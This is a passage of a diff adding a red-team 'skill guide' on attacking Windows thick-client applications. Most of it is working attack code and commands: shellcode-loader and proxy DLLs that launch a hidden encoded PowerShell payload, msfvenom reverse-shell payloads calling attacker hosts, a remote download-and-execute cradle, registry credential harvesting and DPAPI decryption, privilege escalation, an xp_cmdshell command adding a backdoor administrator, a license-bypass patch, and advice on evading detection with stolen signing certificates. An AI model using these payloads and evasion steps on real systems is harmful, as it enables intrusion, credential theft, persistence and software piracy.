+ // (see shellcode loader template below)
304
+ }
305
+ return TRUE;
306
+ }
307
+
308
+ // Export a dummy function matching the legitimate DLL's export
309
+ // (Required if the app imports a specific function by name)
310
+ extern "C" __declspec(dllexport) void TargetFunctionName() { return; }
311
+ ```
312
+
313
+ **Compile:**
314
+ ```bash
315
+ # x64
316
+ x86_64-w64-mingw32-g++ -shared -o version.dll hijack.cpp -lws2_32
317
+
318
+ # x86
319
+ i686-w64-mingw32-g++ -shared -o version.dll hijack.cpp -lws2_32
320
+
321
+ # On Windows with MSVC (Developer Command Prompt)
322
+ cl /LD hijack.cpp /Fe:version.dll
323
+ ```
324
+
325
+ **Step 15: Shellcode loader DLL template**
326
+ ```cpp
327
+ // shellcode_loader.cpp
328
+ #include <windows.h>
329
+
330
+ // Replace with your shellcode bytes (msfvenom or CobaltStrike)
331
+ unsigned char shellcode[] = {
332
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, // ... truncated for brevity
333
+ };
334
+
335
+ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
336
+ {
337
+ if (reason == DLL_PROCESS_ATTACH)
338
+ {
339
+ DisableThreadLibraryCalls(hModule);
340
+
341
+ LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
342
+ MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
343
+ if (mem)
344
+ {
345
+ memcpy(mem, shellcode, sizeof(shellcode));
346
+ HANDLE hThread = CreateThread(NULL, 0,
347
+ (LPTHREAD_START_ROUTINE)mem,
348
+ NULL, 0, NULL);
349
+ if (hThread) CloseHandle(hThread);
350
+ }
351
+ }
352
+ return TRUE;
353
+ }
354
+ ```
355
+
356
+ **Generate shellcode with msfvenom:**
357
+ ```bash
358
+ # Staged reverse TCP
359
+ msfvenom -p windows/x64/meterpreter/reverse_tcp \
360
+ LHOST=10.10.10.99 LPORT=4444 \
361
+ -f c -o shellcode.c
362
+
363
+ # Stageless (better for restricted networks)
364
+ msfvenom -p windows/x64/meterpreter_reverse_https \
365
+ LHOST=10.10.10.99 LPORT=443 \
366
+ -f c -o shellcode.c
367
+ ```
368
+
369
+ ---
370
+
371
+ ### Phase 6 — Registry Credential Extraction
372
+
373
+ **Step 16: Search common registry locations**
374
+ ```powershell
375
+ # Application-specific hives
376
+ $appName = "TargetApp"
377
+
378
+ # HKCU user settings
379
+ Get-ChildItem "HKCU:\Software\$appName" -Recurse -ErrorAction SilentlyContinue |
380
+ Get-ItemProperty | Select-Object PSPath, *
381
+
382
+ # HKLM machine-wide settings
383
+ Get-ChildItem "HKLM:\Software\$appName" -Recurse -ErrorAction SilentlyContinue |
384
+ Get-ItemProperty | Select-Object PSPath, *
385
+
386
+ # 32-bit app on 64-bit OS (stored in Wow6432Node)
387
+ Get-ChildItem "HKLM:\Software\Wow6432Node\$appName" -Recurse -ErrorAction SilentlyContinue |
388
+ Get-ItemProperty | Select-Object PSPath, *
389
+
390
+ # Search ALL of HKCU for password-related value names
391
+ $searchTerms = @("password","passwd","pwd","secret","credential","token","apikey","key")
392
+ foreach ($term in $searchTerms) {
393
+ Get-ChildItem -Path "HKCU:\" -Recurse -ErrorAction SilentlyContinue |
394
+ Where-Object { $_.Property -match $term } |
395
+ ForEach-Object {
396
+ $path = $_.PSPath
397
+ $_.Property | Where-Object { $_ -match $term } |
398
+ ForEach-Object { Write-Host "[+] $path :: $_ = $(Get-ItemPropertyValue -Path $path -Name $_ -ErrorAction SilentlyContinue)" }
399
+ }
400
+ }
401
+ ```
402
+
403
+ **Step 17: Decrypt DPAPI-encrypted registry values**
404
+ ```powershell
405
+ # DPAPI blobs appear as binary REG_BINARY values
406
+ # Check if value is DPAPI: starts with 01 00 00 00 D0 8C 9D DF...
407
+
408
+ # Read raw bytes
409
+ $blob = (Get-ItemProperty "HKCU:\Software\TargetApp" -Name "Password").Password
410
+
411
+ # Decrypt using CryptUnprotectData (PowerShell one-liner)
412
+ Add-Type -AssemblyName System.Security
413
+ $decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect(
414
+ $blob, $null,
415
+ [System.Security.Cryptography.DataProtectionScope]::CurrentUser
416
+ )
417
+ [System.Text.Encoding]::Unicode.GetString($decrypted)
418
+
419
+ # Alternatively, use SharpDPAPI (works cross-user with domain backup key)
420
+ SharpDPAPI.exe blob /target:C:\extracted_blob.bin
421
+ ```
422
+
423
+ ---
424
+
425
+ ### Phase 7 — Network Traffic Analysis with Wireshark
426
+
427
+ **Step 18: Capture app traffic**
428
+ ```bash
429
+ # Start capture on loopback + Ethernet adapter
430
+ # Find adapter name:
431
+ tshark -D
432
+
433
+ # Start capture filtering to app process (Windows: use npcap with process filtering)
434
+ tshark -i "Ethernet" -w capture.pcapng
435
+
436
+ # Or launch Wireshark GUI, select the adapter, start capture
437
+ # Then launch TargetApp.exe and interact fully
438
+ ```
439
+
440
+ **Step 19: Wireshark display filters for common app traffic**
441
+ ```
442
+ # HTTP cleartext (credentials in POST body)
443
+ http.request.method == "POST"
444
+
445
+ # Filter by destination IP (if you know the backend server)
446
+ ip.dst == 10.10.1.5
447
+
448
+ # Find HTTP Basic Auth headers
449
+ http.authorization
450
+
451
+ # HTTP with credentials in URL
452
+ http.request.uri contains "password" or http.request.uri contains "token"
453
+
454
+ # TLS — check for weak versions (1.0/1.1) or self-signed certs
455
+ tls.handshake.type == 1
456
+
457
+ # Find plaintext passwords in any TCP stream
458
+ tcp contains "password"
459
+ tcp contains "Password"
460
+
461
+ # Application-specific: find JSON tokens
462
+ frame contains "\"token\""
463
+ frame contains "Bearer "
464
+
465
+ # DNS queries from the app (reveals backend hostnames)
466
+ dns.qry.name contains "targetapp"
467
+ ```
468
+
469
+ **Step 20: Reconstruct HTTP sessions**
470
+ ```bash
471
+ # Export HTTP objects (files, JSON responses) from capture
472
+ tshark -r capture.pcapng --export-objects http,./http_objects/
473
+
474
+ # Follow TCP stream in tshark
475
+ tshark -r capture.pcapng -q -z follow,tcp,ascii,0
476
+
477
+ # Extract credentials from POST bodies
478
+ tshark -r capture.pcapng -Y "http.request.method==POST" -T fields \
479
+ -e http.host -e http.request.uri -e http.file_data
480
+ ```
481
+
482
+ **Step 21: Bypass certificate pinning (if HTTPS)**
483
+ ```powershell
484
+ # Method 1: Patch the certificate validation in dnSpy
485
+ # Find: ServicePointManager.ServerCertificateValidationCallback
486
+ # Or: X509Certificate2 validation methods
487
+ # Patch to always return true
488
+
489
+ # Method 2: Inject Frida to hook certificate validation
490
+ frida -p (Get-Process TargetApp).Id -l bypass_pinning.js
491
+
492
+ # Method 3: Use Proxifier to redirect traffic + Burp with custom CA
493
+ # Install Burp CA in Windows cert store:
494
+ certutil -addstore Root burp_ca.der
495
+ ```
496
+
497
+ ---
498
+
499
+ ### Phase 8 — Privilege Escalation Techniques
500
+
501
+ **Step 22: Unquoted Service Path Exploitation**
502
+ ```powershell
503
+ # Find services with unquoted paths containing spaces
504
+ Get-WmiObject Win32_Service |
505
+ Where-Object { $_.PathName -notmatch '"' -and $_.PathName -match ' ' } |
506
+ Select-Object Name, PathName, StartMode, StartName
507
+
508
+ # Example vulnerable path:
509
+ # C:\Program Files\Target App\bin\service.exe
510
+ # Windows tries these in order:
511
+ # C:\Program.exe
512
+ # C:\Program Files\Target.exe
513
+ # C:\Program Files\Target App\bin\service.exe ← legitimate
514
+
515
+ # Place malicious binary at the first writable path:
516
+ # Check if C:\Program Files\Target.exe location is writable
517
+ icacls "C:\Program Files" | findstr "BUILTIN\Users"
518
+
519
+ # Generate malicious service binary
520
+ msfvenom -p windows/x64/meterpreter/reverse_tcp \
521
+ LHOST=10.10.10.99 LPORT=4444 \
522
+ -f exe -o "Target.exe"
523
+
524
+ # Copy to unquoted path location
525
+ Copy-Item Target.exe "C:\Program Files\Target.exe"
526
+
527
+ # Restart the service (if you have permission) or wait for reboot
528
+ Restart-Service -Name "TargetService" -Force
529
+ ```
530
+
531
+ **Step 23: AlwaysInstallElevated Abuse**
532
+ ```powershell
533
+ # Check if both registry keys are set to 1 (required for exploitation)
534
+ $hkcu = Get-ItemPropertyValue "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
535
+ $hklm = Get-ItemPropertyValue "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue
536
+
537
+ if ($hkcu -eq 1 -and $hklm -eq 1) {
538
+ Write-Host "[VULN] AlwaysInstallElevated is enabled — MSI runs as SYSTEM"
539
+ }
540
+
541
+ # Generate malicious MSI
542
+ msfvenom -p windows/x64/meterpreter/reverse_tcp \
543
+ LHOST=10.10.10.99 LPORT=4444 \
544
+ -f msi -o evil.msi
545
+
546
+ # Install with elevated privileges (no UAC prompt)
547
+ msiexec /quiet /qn /i evil.msi
548
+ ```
549
+
550
+ ---
551
+
552
+ ## 5. Real-World Attack Scenarios
553
+
554
+ ### Scenario 1 — Enterprise ERP Thick Client: Credential Extraction and DB Compromise
555
+
556
+ **Target:** A WinForms-based ERP application connecting to SQL Server.
557
+
558
+ **Situation:** You have a standard domain user account and the ERP client installed.
559
+
560
+ **Attack chain:**
561
+
562
+ 1. Run `strings.exe -n 8 ErpClient.exe | findstr -i "server=\|data source="` → finds `Server=10.0.1.10;Database=ERP_Prod;User Id=erpapp;Password=ERP_Pass_2023!`
563
+ 2. Attempt direct SQL Server connection with extracted credentials
564
+ 3. Enumerate: `SELECT name FROM sys.databases` → find sensitive tables
565
+ 4. `SELECT TOP 100 * FROM HR.Employees` → PII extraction complete
566
+ 5. If SA account: `EXEC xp_cmdshell 'whoami'` → OS command execution
567
+
568
+ **Commands:**
569
+ ```powershell
570
+ # Step 1
571
+ strings.exe -n 8 "C:\Program Files\ERPClient\ErpClient.exe" | Select-String "server=|data source=" -CaseSensitive:$false
572
+
573
+ # Step 2 - connect with sqlcmd
574
+ sqlcmd -S 10.0.1.10 -d ERP_Prod -U erpapp -P "ERP_Pass_2023!" -Q "SELECT name FROM sys.databases"
575
+
576
+ # Step 3 - if SA
577
+ sqlcmd -S 10.0.1.10 -U sa -P "extracted_sa_pass" -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
578
+ sqlcmd -S 10.0.1.10 -U sa -P "extracted_sa_pass" -Q "EXEC xp_cmdshell 'net user backdoor P@ss123 /add && net localgroup administrators backdoor /add'"
579
+ ```
580
+
581
+ ---
582
+
583
+ ### Scenario 2 — License Bypass and Feature Unlock for Proprietary Tool
584
+
585
+ **Target:** A commercial WPF application with a subscription license gate.
586
+
587
+ **Situation:** Client provided the installer but not a valid license, wants you to assess what an attacker who bypasses the license could access.
588
+
589
+ **Attack chain:**
590
+
591
+ 1. Install and launch app — license dialog appears
592
+ 2. Open in dnSpy → search for `IsLicensed` → find `LicenseManager.ValidateKey(string key)`
593
+ 3. Examine: method calls an external HTTPS endpoint and checks JSON response `{"valid": true}`
594
+ 4. Two options:
595
+ - **Patch method** to always return true (offline bypass)
596
+ - **Intercept with Wireshark/Burp**, replay response with `{"valid": true}`
597
+ 5. After bypass: access to admin features, data export, raw API calls
598
+
599
+ **Patch in dnSpy:**
600
+ ```csharp
601
+ // Original
602
+ public bool ValidateKey(string key)
603
+ {
604
+ var response = _httpClient.GetAsync($"https://license.vendor.com/api/v1/validate?key={key}").Result;
605
+ var json = response.Content.ReadAsStringAsync().Result;
606
+ return JsonConvert.DeserializeObject<LicenseResponse>(json).Valid;
607
+ }
608
+
609
+ // Patched
610
+ public bool ValidateKey(string key)
611
+ {
612
+ return true;
613
+ }
614
+ ```
615
+
616
+ ---
617
+
618
+ ### Scenario 3 — DLL Hijacking for Persistence on a Managed Endpoint
619
+
620
+ **Target:** A software update utility that runs at user login and is missing `version.dll`.
621
+
622
+ **Situation:** You have local user (non-admin) access. Need persistence without triggering UAC.
623
+
624
+ **Attack chain:**
625
+
626
+ 1. Procmon filter: `Process Name is UpdateUtil.exe` + `Result is NAME NOT FOUND` + `Path ends with .dll`
627
+ 2. Procmon shows: `C:\Users\jsmith\AppData\Local\TargetApp\version.dll — NAME NOT FOUND`
628
+ 3. Verify writable: `icacls "C:\Users\jsmith\AppData\Local\TargetApp"` → `jsmith:(F)` (full control)
629
+ 4. Generate malicious DLL: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f dll -o version.dll`
630
+ 5. Place DLL: `Copy-Item version.dll "C:\Users\jsmith\AppData\Local\TargetApp\version.dll"`
631
+ 6. Wait for user login / app restart → shell received on attacker C2
632
+ 7. Session persists every login
633
+
634
+ **Commands:**
635
+ ```powershell
636
+ # Generate DLL payload
637
+ msfvenom -p windows/x64/meterpreter/reverse_https `
638
+ LHOST=attacker.c2domain.com LPORT=443 `
639
+ -f dll -o version.dll
640
+
641
+ # Deploy
642
+ Copy-Item .\version.dll "C:\Users\$env:USERNAME\AppData\Local\TargetApp\version.dll"
643
+
644
+ # Verify
645
+ Get-Item "C:\Users\$env:USERNAME\AppData\Local\TargetApp\version.dll" | Select-Object Name, Length, LastWriteTime
646
+ ```
647
+
648
+ ---
649
+
650
+ ## 6. Payload Examples with Explanations
651
+
652
+ ### Malicious DLL — Exports Matching Legitimate DLL (Proxy DLL)
653
+
654
+ When an app imports specific exports from the hijacked DLL, the app will crash without them. Use a proxy DLL that forwards calls to the real system DLL while also executing your payload.
655
+
656
+ ```cpp
657
+ // proxy_version.cpp
658
+ // Exports matching version.dll's real exports, forwarding to system copy
659
+ #pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
660
+ #pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
661
+ #pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
662
+ #pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
663
+ #pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
664
+ #pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
665
+ #pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
666
+ #pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
667
+ #pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
668
+ #pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA")
669
+ #pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA")
670
+ #pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
671
+ #pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")
672
+
673
+ #include <windows.h>
674
+
675
+ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
676
+ {
677
+ if (reason == DLL_PROCESS_ATTACH)
678
+ {
679
+ DisableThreadLibraryCalls(hModule);
680
+ // Your payload here — runs transparently while app continues normally
681
+ CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)[](LPVOID) -> DWORD {
682
+ WinExec("powershell -nop -w h -enc BASE64_ENCODED_PAYLOAD", SW_HIDE);
683
+ return 0;
684
+ }, NULL, 0, NULL);
685
+ }
686
+ return TRUE;
687
+ }
688
+ ```
689
+
690
+ ### PowerShell Base64 Payload Encoder
691
+ ```powershell
692
+ # Encode your command for use in -enc parameter
693
+ $cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.99/stage2.ps1')"
694
+ $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
695
+ $encoded = [Convert]::ToBase64String($bytes)
696
+ Write-Host "powershell -nop -w hidden -enc $encoded"
697
+ ```
698
+
699
+ ---
700
+
701
+ ## 7. Tool Commands Reference
702
+
703
+ ### dnSpy
704
+
705
+ ```
706
+ dnSpy.exe [file.exe] # Open assembly
707
+ # Inside dnSpy:
708
+ # Ctrl+Shift+K = Search assemblies
709
+ # F9 = Toggle breakpoint
710
+ # F5 = Start debugging
711
+ # Ctrl+Break = Pause debugging
712
+ # Right-click method → Edit Method (C#) = patch source
713
+ # Right-click method → Edit IL Instructions = patch IL bytecode
714
+ # File → Save All = save patched assembly
715
+ ```
716
+
717
+ ### ilspycmd (Command Line)
718
+ ```bash
719
+ ilspycmd app.exe # Decompile to stdout
720
+ ilspycmd app.exe -p -o ./src/ # Project mode (creates .csproj)
721
+ ilspycmd app.exe --list-types # List all types
722
+ ilspycmd app.exe --type "Namespace.Class" # Decompile single class
723
+ ilspycmd app.exe --method "Namespace.Class.Method" # Single method
724
+ ilspycmd app.exe -lv CSharp10_0 # Target language version
725
+ ```
726
+
727
+ ### de4dot (Deobfuscation)
728
+ ```bash
729
+ de4dot.exe app.exe # Auto-detect and deobfuscate
730
+ de4dot.exe app.exe -o clean.exe # Output to specific file
731
+ de4dot.exe app.exe --un-name "!^[a-zA-Z]\w*$" # Rename obfuscated symbols
732
+ de4dot.exe app.exe --keep-types # Preserve type names
733
+ de4dot.exe --list-obfuscators # List supported obfuscators
734
+ ```
735
+
736
+ ### Procmon (Process Monitor)
737
+ ```
738
+ Procmon.exe /Quiet /Minimized /BackingFile C:\temp\capture.PML # Headless capture
739
+ Procmon.exe /OpenLog C:\temp\capture.PML # Open saved log
740
+ # Filters via command line:
741
+ Procmon.exe /FilterRecords /Filter "ProcessName,is,TargetApp.exe,include"
742
+ ```
743
+
744
+ ### Wireshark / tshark
745
+ ```bash
746
+ tshark -D # List interfaces
747
+ tshark -i 1 -w out.pcapng # Capture on interface 1
748
+ tshark -r out.pcapng -Y "http" # Read + display filter
749
+ tshark -r out.pcapng -T fields -e http.file_data # Extract field values
750
+ tshark -r out.pcapng -q -z io,stat,1 # Statistics
751
+ tshark -r out.pcapng --export-objects http,./dir # Export HTTP objects
752
+ ```
753
+
754
+ ### Strings (Sysinternals)
755
+ ```powershell
756
+ strings.exe app.exe # ASCII strings (default min length 3)
757
+ strings.exe -n 8 app.exe # Minimum length 8
758
+ strings.exe -u app.exe # Unicode strings
759
+ strings.exe -s app.exe # Include strings in data sections only
760
+ strings.exe -a app.exe # Scan entire file (not just printable sections)
761
+ ```
762
+
763
+ ---
764
+
765
+ ## 8. Detection and OPSEC Considerations
766
+
767
+ ### What Defenders Will See
768
+
769
+ | Your Action | Defender Artifact |
770
+ |-------------|------------------|
771
+ | Strings.exe against binary | File access event on binary (ETW) |
772
+ | dnSpy decompilation | File read of target EXE |
773
+ | Procmon capture | Procmon process creation event |
774
+ | DLL placed in app directory | File creation event in app folder |
775
+ | DLL loaded by app | Image Load event (Sysmon Event ID 7) |
776
+ | Msfvenom DLL executed | Network connection + malicious DLL hash (Sysmon Event ID 3) |
777
+ | Registry credential read | Registry access event (Sysmon Event ID 13) |
778
+ | AlwaysInstallElevated abuse | MSI execution event, SYSTEM-level process creation |
779
+
780
+ ### OPSEC Mitigations
781
+
782
+ **DLL Hijacking:**
783
+ - Use a signed proxy DLL compiled with a code-signing certificate (or stolen cert) to avoid hash-based detection
784
+ - Avoid VirtualAlloc + memcpy + CreateThread pattern — use indirect shellcode execution or process injection from the DLL
785
+ - Name your DLL exactly as expected — any difference triggers Sysmon alerts
786
+ - Test against AMSI/Defender in a sandbox before deploying on target
787
+
788
+ **Binary Analysis:**
789
+ - Perform analysis on your own machine, not the target — avoids triggering endpoint DLP on decompilation tools
790
+ - If you must analyze on target: use portable tools from USB, avoid writing decompiled files to disk
791
+
792
+ **Network Capture:**
793
+ - Avoid Wireshark GUI on target — use `netsh trace start capture=yes` for built-in Windows capture:
794
+ ```powershell
795
+ netsh trace start capture=yes tracefile=C:\temp\net.etl maxsize=256
796
+ # ... interact with app ...
797
+ netsh trace stop
798
+ # Convert with: Microsoft Message Analyzer (offline) or pktmon
799
+ pktmon start --capture --comp nics
800
+ pktmon stop
801
+ pktmon etl2pcap pktmon.etl
802
+ ```
803
+
804
+ **Registry Access:**
805
+ - Use PowerShell with `-ErrorAction SilentlyContinue` to avoid noisy error events
806
+ - Read registry offline if you have a disk image: `reg load HKLM\OFFLINE C:\path\to\SYSTEM`
807
+
808
+ **AlwaysInstallElevated:**
809
+ - MSI execution is heavily logged; prefer DLL hijack if available
810
+ - If using MSI: sign the MSI file, use a convincing product name
811
+
812
+ ---
813
+
814
+ ## 9. Output and Documentation
815
+
816
+ ### Evidence Collection Template
817
+
818
+ For each finding, document:
819
+
820
+ ```
821
+ FINDING: [e.g., Hardcoded SQL Server credentials in ERP client]
822
+ Severity: Critical / High / Medium / Low
823
+ CWE: CWE-798 (Use of Hard-coded Credentials)
824
+ CVSSv3: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
825
+
826
+ Location: C:\Program Files\ERPClient\ErpClient.exe
827
+ Method: Static analysis via ilspycmd + strings.exe
828
+
829
+ Evidence:
830
+ File: ErpClient.exe
831
+ Class: DataAccess.DatabaseConnector
832
+ Method: GetConnection()
833
+ Line: 42
834
+ Content: "Server=10.0.1.10;Database=ERP_Prod;User Id=erpapp;Password=ERP_Pass_2023!"
835
+
836
+ Impact: Any user with access to the ERP client binary can extract
837
+ SQL Server credentials and directly query the production database.
838
+
839
+ Reproduction:
840
+ 1. strings.exe -n 8 ErpClient.exe | findstr /i "server="
841
+ 2. sqlcmd -S 10.0.1.10 -U erpapp -P "ERP_Pass_2023!" -Q "SELECT TOP 1 * FROM HR.Employees"
842
+
843
+ Remediation:
844
+ - Store connection strings encrypted using DPAPI or Windows Credential Manager
845
+ - Use Windows Authentication (Kerberos) instead of SQL authentication
846
+ - Implement the principle of least privilege on the SQL account
847
+ ```
848
+
849
+ ### Artifacts to Capture for Report
850
+ - Screenshots of dnSpy showing vulnerable code with highlighted lines
851
+ - Procmon CSV export filtered to `NAME NOT FOUND` DLL events
852
+ - Wireshark screenshot showing cleartext credentials in packet
853
+ - Registry export (`reg export "HKCU\Software\TargetApp" evidence.reg`)
854
+ - Strings output grep showing hardcoded secrets
855
+ - Video recording of exploitation chain for high-severity findings
856
+
857
+ ### Recommended Report Structure
858
+ 1. Executive Summary — business impact
859
+ 2. Technical Findings — each with CVSS, evidence, reproduction steps
860
+ 3. Appendix — raw tool output, packet captures (redacted PII), patched vs. original IL
861
+
862
+ ---
863
+
864
+ ## 10. Resources and References
865
+
866
+ ### Primary Tools
867
+ - dnSpy: https://github.com/dnSpy/dnSpy
868
+ - ILSpy / ilspycmd: https://github.com/icsharpcode/ILSpy
869
+ - de4dot: https://github.com/de4dot/de4dot
870
+ - ConfuserEx Unpacker: https://github.com/mwsrc/ConfuserEx-Unpacker
871
+ - Sysinternals Suite (Procmon, Strings, etc.): https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
872
+ - SharpDPAPI: https://github.com/GhostPack/SharpDPAPI
873
+ - CFF Explorer: https://ntcore.com/?page_id=388
874
+
875
+ ### Technique References
876
+ - DLL Hijacking (MITRE ATT&CK T1574.001): https://attack.mitre.org/techniques/T1574/001/
877
+ - Unquoted Service Path (T1574.009): https://attack.mitre.org/techniques/T1574/009/
878
+ - AlwaysInstallElevated (T1548.002): https://attack.mitre.org/techniques/T1548/002/
879
+ - DPAPI Abuse (T1555.004): https://attack.mitre.org/techniques/T1555/004/
880
+ - Obfuscated Files (T1027): https://attack.mitre.org/techniques/T1027/
881
+
882
+ ### Guides and Write-ups
883
+ - DLL Hijacking deep dive: https://github.com/wietze/windows-dll-hijacking
884
+ - Hijackable DLLs list: https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv
885
+ - .NET security assessment guide: https://github.com/NetSPI/NetSPIBlog/blob/master/DotNetSecurityCheatSheet.md
886
+ - Frida for .NET: https://frida.re/docs/quickstart/
887
+ - Practical DLL Hijacking: https://itm4n.github.io/windows-dll-hijacking-clarified/
888
+ - Windows privilege escalation checklist: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
889
+
890
+ ### .NET Decompilation and Patching
891
+ - ILSpy documentation: https://github.com/icsharpcode/ILSpy/wiki
892
+ - dnSpy wiki: https://github.com/dnSpy/dnSpy/wiki
893
+ - IL instruction reference: https://en.wikipedia.org/wiki/List_of_CIL_instructions
894
+ - .NET metadata format: https://docs.microsoft.com/en-us/dotnet/standard/metadata-format
895
+
896
+ ### Proxy DLL Templates
897
+ - DLL Export Viewer: https://www.nirsoft.net/utils/dll_export_viewer.html
898
+ - SharpDllProxy (auto-generate proxy DLLs): https://github.com/Flangvik/SharpDllProxy
899
+ - DLL Hijack example templates: https://github.com/tothi/dll-hijack-by-proxying
900
+
901
+ ---
902
+
903
+ *This skill guide is intended for authorized red team engagements only. All techniques described require explicit written authorization from the asset owner before use.*